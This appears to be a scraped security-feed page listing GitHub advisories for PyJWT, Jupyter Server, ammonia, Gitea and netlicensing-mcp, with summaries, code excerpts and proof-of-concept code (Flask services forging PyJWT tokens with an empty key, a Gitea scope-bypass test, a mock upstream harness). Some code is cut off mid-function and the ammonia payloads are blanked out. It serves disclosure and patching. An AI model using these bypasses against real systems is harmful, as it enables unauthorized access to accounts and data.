GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
### Summary

`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a `PyJWK`, or a `PyJWK` resolved by
`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes
`HMAC(key=b"", signing_input)` and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's `kid` to the empty-`k` JWK.

The empty-key rejection that `HMACAlgorithm.prepare_key` performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an `InsecureKeyLengthWarning`, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.

### Affected versions

`PyJWT` (PyPI package `pyjwt`) ` bytes:
 try:
 if isinstance(jwk, str):
 obj: JWKDict = json.loads(jwk)
 elif isinstance(jwk, dict):
 obj = jwk
 else:
 raise ValueError
 except ValueError:
 raise InvalidKeyError("Key is not valid JSON") from None

 if obj.get("kty") != "oct":
 raise InvalidKeyError("Not an HMAC key")

 return base64url_decode(obj["k"]) # b"", no rejection
```

Contrast the sibling `prepare_key`, which DID get the guard (lines 325-329):

```python
def prepare_key(self, key: str | bytes) -> bytes:
 key_bytes = force_bytes(key)

 if len(key_bytes) == 0:
 raise InvalidKeyError("HMAC key must not be empty.")
```

In `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key
material directly, bypassing `prepare_key`, and the length warning is non-fatal
by default:

```python
 if isinstance(key, PyJWK):
 if alg != key.algorithm_name:
 raise InvalidAlgorithmError(
 f"Token algorithm {alg!r} does not match the key's "
 f"algorithm {key.algorithm_name!r}"
 )
 alg_obj = key.Algorithm
 prepared_key = key.key # from_jwk output (b""), prepare_key not run
 else:
 try:
 alg_obj = self.get_algorithm_by_name(alg)
 except NotImplementedError as e:
 raise InvalidAlgorithmError("Algorithm not supported") from e
 prepared_key = alg_obj.prepare_key(key)

 key_length_msg = alg_obj.check_key_length(prepared_key)
 if key_length_msg:
 if effective_options.get("enforce_minimum_key_length", False):
 raise InvalidKeyError(key_length_msg)
 else:
 warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only

 if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b"" succeeds
 raise InvalidSignatureError("Signature verification failed")
```

`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a
`{"kty":"oct","k":""}` JWK yields `PyJWK.key == b""`. `PyJWKSet` and
`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the
JWKS-over-HTTP resolution route is affected identically.

The 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM
hardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix
(GHSA-jq35-7prp-9v3f), and the test suite has
`test_hmac_prepare_key_rejects_empty_key` plus
`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty
JSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the
untested sibling path this report closes.

### How the attacker input reaches the sink

An unauthenticated HTTP client controls the bearer token entirely: its `kid`
selects the empty-`k` oct JWK, and its signature is computed locally with the
empty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`
(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved
`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b"", sig)`.
No secret,
credential, or prior session is required; the only server-side precondition is a
JWKS oct entry with an empty `k`, which the "unset signing secret" configuration
produces. This is the identical trust boundary the string-secret path already
guards.

### Proof of concept

### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)

Two services model a standard OIDC-style deployment: an auth service publishing a
JWKS, and a protected resource server validating bearer tokens against that JWKS
with PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret
is sourced from an unset env var (`SIGNING_SECRET` unset -> `""`), so the
published oct JWK carries `k == ""`.

`idp.py` (auth service):

```python
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

@app.route("/.well-known/jwks.json")
def jwks():
 return jsonify({"keys": [{
 "kty": "oct", "use": "sig", "alg": "HS256",
 "kid": "auth-signing-2026",
 "k": b64u(SIGNING_SECRET.encode()), # empty secret -> k == ""
 }]})

if __name__ == "__main__":
 app.run(port=9101)
```

`api.py` (protected resource server):

```python
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")

def authenticate():
 auth = request.headers.get("Authorization", "")
 if not auth.startswith("Bearer "):
 return None, "missing bearer token"
 token = auth.split(" ", 1)[1]
 try:
 signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid
 claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
 except Exception as e:
 return None, "invalid token: %s" % type(e).__name__
 return claims, None

@app.route("/api/admin/users")
d

Affected package ranges reported by GitHub:
pyjwt: <= 2.13.0
Action: GitHub lists first patched versions: pyjwt: 2.14.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Jupyter Server: Gateway WebSocket handler bypasses kernel execute authorization
https://kevwire.com/record/CVE-2026-114135
Jupyter Server: Gateway WebSocket handler bypasses kernel execute authorization (Oct 22, 2026).
Jupyter Server's gateway WebSocket handler checks that a user is authenticated, but it does not ask the configured Authorizer whether that user may execute kernels.

In Jupyter Server 2.0.0 through 2.5.0, enabling GatewayClient.url automatically replaced the normal kernel channel handler with this gateway-specific handler. An authenticated user who is denied the `execute` action on the `kernels` resource can therefore still open a kernel channel and send messages to the upstream kernel.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114135).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114135&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-354v-3q48-cv69: https://github.com/advisories/GHSA-354v-3q48-cv69
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114135: https://nvd.nist.gov/vuln/detail/CVE-2026-114135
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114135&date=2026-10-25
### Summary

Jupyter Server's gateway WebSocket handler checks that a user is authenticated, but it does not ask the configured Authorizer whether that user may execute kernels.

In Jupyter Server 2.0.0 through 2.5.0, enabling GatewayClient.url automatically replaced the normal kernel channel handler with this gateway-specific handler. An authenticated user who is denied the `execute` action on the `kernels` resource can therefore still open a kernel channel and send messages to the upstream kernel.

### Details

The normal handler performs the expected authorization check before creating the WebSocket connection:

https://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/services/kernels/websocket.py#L39-L47

The gateway handler only checks `current_user` and then opens the upstream channel. It never calls `authorizer.is_authorized(...)`:

https://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/gateway/handlers.py#L49-L75
https://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/gateway/handlers.py#L87-L98

Gateway mode selected that handler automatically by replacing handlers with matching routes:

https://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/serverapp.py#L437-L446

PR #1261 stopped replacing the normal handler and routed gateway traffic through `GatewayWebSocketConnection` instead. This appears to have fixed the default gateway configuration in 2.6.0, although the deprecated handler is still present in current releases and can still be registered directly.

https://github.com/jupyter-server/jupyter_server/pull/1261

### Code-level validation

1. Configure a custom Authorizer that returns false for `execute` on `kernels` for a regular authenticated user.
2. Configure `GatewayClient.url` on Jupyter Server 2.0.0-2.5.0.
3. The normal `KernelWebsocketHandler` would reject that user with 403 in `pre_get`.
4. Gateway mode replaces it with `WebSocketChannelsHandler`. Its `authenticate` method only rejects anonymous users, and `get` proceeds to the upstream gateway without an authorization decision.

### Impact

This is a missing authorization check, not an authentication bypass. It matters in deployments that use a restrictive custom Authorizer and Jupyter Gateway/Enterprise Gateway. A read-only or otherwise limited authenticated user can cross the intended authorization boundary and obtain kernel execution, with access to data and credentials available to that kernel.

### Affected versions

- Default gateway configuration: 2.0.0 through 2.5.0
- 2.6.0 and later: the default path uses the authorized standard handler, but manually registering the deprecated `jupyter_server.gateway.handlers` module still exposes the old behavior.

Affected package ranges reported by GitHub:
jupyter-server: >= 2.0.0, < 2.6.0
Action: GitHub lists first patched versions: jupyter-server: 2.6.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ammonia: mXSS  via MathML `annotation-xml` encoding strip
https://kevwire.com/record/CVE-2026-63430
ammonia: mXSS  via MathML `annotation-xml` encoding strip (Oct 22, 2026).
If a certain set of MathML tags are enabled, an attacker can inject arbitrary JavaScript code into the user's browser.

The `annotation-xml` tag has slightly different behavior than the other "integration point"
tags in MathML and SVG, but ammonia didn't handle it, so it didn't correctly
strip the namespace-incompatible tags.
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-9jh8-v38h-cvhr).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63430&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9jh8-v38h-cvhr: https://github.com/advisories/GHSA-9jh8-v38h-cvhr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63430&date=2026-10-25
If a certain set of MathML tags are enabled, an attacker can inject arbitrary JavaScript code into the user's browser.

The `annotation-xml` tag has slightly different behavior than the other "integration point"
tags in MathML and SVG, but ammonia didn't handle it, so it didn't correctly
strip the namespace-incompatible tags.

This vulnerability only has an effect when the `math` and `annotation-xml` tags
are both enabled, but the `encoding` attribute is disabled, because it relies
on the following sequence of steps:

1. User writes code like ` `.
2. Namespace filtering checks the DOM, and it passes. ` ` is parsed as HTML.
3. Attribute filter strips it down to ` `. Because the encoding attribute is gone, ` ` is now parsed as MathML.
4. The gadget is written in such a way that it exploits the parsing differences between HTML and MathML.

Additionally, the gadget can only be written using a tag that is parsed as raw text in HTML.
These [elements] are:

* title
* textarea
* xmp
* iframe
* noembed
* noframes
* plaintext
* noscript
* style
* script

Applications that do not explicitly allow any of these tags should not be affected, since none are allowed by default.

[elements]: https://github.com/servo/html5ever/blob/045a0378f2b0f8d4a350793899cf722a2a9b3d11/html5ever/src/tree_builder/rules.rs

### Impact

Low: Requires both MathML and at least one raw-text HTML tag to be enabled, and most websites don't enable either of those.

### Patches

- https://github.com/rust-ammonia/ammonia/pull/245 (released in 4.1.3)
- https://github.com/rust-ammonia/ammonia/pull/244 (released in 4.0.2)
- https://github.com/rust-ammonia/ammonia/pull/243 (released in 3.3.2)

### Workarounds

Call builder.[add_clean_content_tags](https://docs.rs/ammonia/latest/ammonia/struct.Builder.html#method.add_clean_content_tags)("annotation-xml") to remove the annotation-xml element and all of its children, including the XSS gadget.

Affected package ranges reported by GitHub:
ammonia: < 3.3.2
ammonia: >= 4.0.0, < 4.0.2
ammonia: >= 4.1.0, < 4.1.3
Action: GitHub lists first patched versions: ammonia: 3.3.2; ammonia: 4.0.2; ammonia: 4.1.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens
https://kevwire.com/record/CVE-2026-28744
Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens (Jun 16, 2026).
As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`.

```go
// routers/web/web.go
addOwnerRepoGitHTTPRouters(
 m,
 repo.HTTPGitEnabledHandler,
 webAuth.AllowBasic,
 webAuth.AllowOAuth2,
 repo.CorsHandler(),
 optSignInFromAnyOrigin,
 context.UserAssignmentWeb(),
)
```
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-cc8w-r4qh-3v65).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-28744&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cc8w-r4qh-3v65: https://github.com/advisories/GHSA-cc8w-r4qh-3v65
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-28744&date=2026-10-25
### Summary
Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer ` bypasses the scope check entirely.

As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`.

### Details
Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:

```go
// routers/web/web.go
addOwnerRepoGitHTTPRouters(
 m,
 repo.HTTPGitEnabledHandler,
 webAuth.AllowBasic,
 webAuth.AllowOAuth2,
 repo.CorsHandler(),
 optSignInFromAnyOrigin,
 context.UserAssignmentWeb(),
)
```

The Git HTTP authorization path calls `CheckRepoScopedToken()` before falling through to normal repository RBAC:

```go
// routers/web/repo/githttp.go
if askAuth {
 if !ctx.IsSigned {
 ctx.HTTPError(http.StatusUnauthorized)
 return nil
 }

 context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))
 if ctx.Written() {
 return nil
 }

 // normal repository RBAC follows
}
```

However, `CheckRepoScopedToken()` only enforces token scopes for Basic-authenticated requests:

```go
// services/context/permission.go
func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {
 if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true {
 return
 }

 scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
 if ok {
 requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)
 // public-only and required repository scope checks follow
 }
}
```

The Bearer/OAuth2 auth path still records the token scope:

```go
// services/auth/oauth2.go
accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)
if uid != 0 {
 store.GetData()["IsApiToken"] = true
 store.GetData()["ApiTokenScope"] = accessTokenScope
}
```

Bearer PATs also set `IsApiToken=true` and `ApiTokenScope`, but `ctx.IsBasicAuth` remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.

### PoC
This test creates a token for `user2` with only `read:notification`, then requests Git Smart HTTP refs for `user2/repo2`, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.

```go
func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
 defer tests.PrepareTestEnv(t)()

 repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
 assert.True(t, repo.IsPrivate)

 session := loginUser(t, "user2")
 token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
 url := "/user2/repo2/info/refs?service=git-upload-pack"

 basicReq := NewRequest(t, "GET", url)
 basicReq.SetBasicAuth(token, "x-oauth-basic")
 MakeRequest(t, basicReq, http.StatusForbidden)

 bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
 resp := MakeRequest(t, bearerReq, http.StatusOK)
 assert.Contains(t, resp.Body.String(), "refs/heads/master")
}
```

### Impact
Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.

The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as `read:notification`, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because `git-receive-pack` also calls the same repository scope check before normal write RBAC.

Affected package ranges reported by GitHub:
code.gitea.io/gitea: <= 1.26.1
Action: GitHub lists first patched versions: code.gitea.io/gitea: 1.26.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
https://kevwire.com/record/CVE-2026-54446
NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode (Jul 14, 2026).
When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.

The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-x9vc-9ffq-p3gj).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54446&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-x9vc-9ffq-p3gj: https://github.com/advisories/GHSA-x9vc-9ffq-p3gj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54446&date=2026-10-25
## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

### Summary

When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.

### Details

The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.

The downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv("NETLICENSING_API_KEY", "")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).

The complete exploitable data flow is:

| Step | Location | Description |
|------|----------|-------------|
| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |
| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |
| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |
| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |
| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |
| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get("/product", ...)` |
| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |
| 8 | `client.py:62–70` | `Authorization: Basic base64("apiKey: ")` constructed |
| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |

Critical code excerpts:

```python
# src/netlicensing_mcp/server.py
1418: if not key:
1419: key = request.query_params.get("apikey")
1421: if key:
1422: token = api_key_ctx.set(key)
 ...
1427: return await call_next(request) # ")
 entry = {
 "method": self.command,
 "path": self.path,
 "authorization": auth,
 }
 captured_requests.append(entry)
 print(
 f"[MOCK_UPSTREAM] {self.command} {self.path} "
 f"Authorization={auth}",
 flush=True,
 )
 self.send_response(200)
 self.send_header("Content-Type", "application/json")
 self.end_headers()
 self.wfile.write(json.dumps({"items": {"item": []}}).encode())

 do_GET = _handle
 do_POST = _handle
 do_PUT = _handle

 def log_message(self, *args):
 pass

def _run_mock(port: int) -> None:
 srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
 mock_ready.set()
 srv.serve_forever()

# ─── Helpers ─────────────────────────────────────────────────────────────────

def _decode_basic(header: str) -> str | None:
 if not header.startswith("Basic "):
 return None
 try:
 return base64.b64decode(header[6:]).decode()
 except Exception:
 return None

async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
 """Poll until the MCP /health endpoint responds or timeout."""
 import httpx
 deadline = time.monotonic() + timeout
 while time.monotonic() None:
 # 1. Start mock upstream
 t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
 t.start()
 mock_ready.wait(timeout=5)
 print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)

